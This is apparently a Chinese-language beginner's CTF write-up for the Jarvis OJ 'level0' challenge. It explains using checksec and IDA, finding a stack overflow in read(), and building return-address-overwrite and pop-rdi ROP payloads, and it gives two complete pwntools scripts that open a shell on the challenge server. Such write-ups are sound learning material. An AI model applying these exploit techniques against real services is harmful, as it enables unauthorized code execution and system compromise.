目录
level0

1.首先要用到

'file'  ,来查看用多少位的ida打开。
'checksec' ,用来查看文件的保护机制

Stack 的作用是防止栈的溢出
NX    的作用为防止栈中的可执行代码
  其他的我还不太了解,以后再说

2.ida基本操作

首先打开文件后可以按空格键,查看地址与汇编指令
在功能表里找到main,便于分析程序
按tab键会出现伪代码,我们分析这个来找出漏洞
shift+F12可以出现字符串表
ctrl+F 可以出现查找框
想查找某个变量的地址,只需点击后按tab键

3.本题所涉及的知识

首先查找漏洞在read函数,可以通过栈的溢出来覆盖函数的返回地址
这里要了解一下栈的基本结构以及如何传递内容
然后调用callsystem函数来获取shell

4.脚本的书写

1.from pwn import *
    (导入pwn里的内容)
2.p=remote('地址',端口)
    (连接服务器并创建一个对象)、
3.p.recv()  p.recvline() p.recvuntil()
    (都是接受服务器返回的字符串,具体区别不太懂)
4.p.send()  p.sendline() p.sendafter()
    (都是向服务器传入字符串,具体区别不太懂)
5.p.interactive()
    (结尾加上,啥意思不懂)

5.本题payload的构建

1.buf距离rbp 0x80,rbp本身占位8
2.函数返回地址可填callsystem的地址
3.payload=ox88*'a'+addr_callsystem

6.产生的问题及解决

1.做完level1,你会想用system函数及“/bin/sh”字符串传参来做level0,但是本题并不能用
    payload=0x88*'a'+p64(addr_system)+p64(0)+p64(addr_binsh)
2.为什么呢?原来是因为64位的传参并不是由直接栈传入,而是储存在寄存器里,所以payload的构建也要改变。
当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9
当参数为7个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样。

3.所以构建的payload为
    payload=0x88*'a'+p64(rdi)+p64(0x0400684)+p64(0x00400460)+p64(0)

7.两种脚本:

`

#coding:utf-8
from pwn import *
p=remote('pwn2.jarvisoj.com',9881)
s_addr=0x0000000000400596
p.sendafter("World\n",0x88*'a'+p64(s_addr))
p.interactive()

 #coding:utf-8
from pwn import *
p=remote('pwn2.jarvisoj.com',9881)
rdi=0x400663
p.sendafter("World\n",0x88*'a'+p64(rdi)+p64(0x0400684)+p64(0x00400460)+p64(0))
p.interactive()

`

文章作者: zzl
文章链接: https://www.zzl14.xyz/2019/08/08/level0/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 try
打赏
  • 微信
  • 支付宝

评论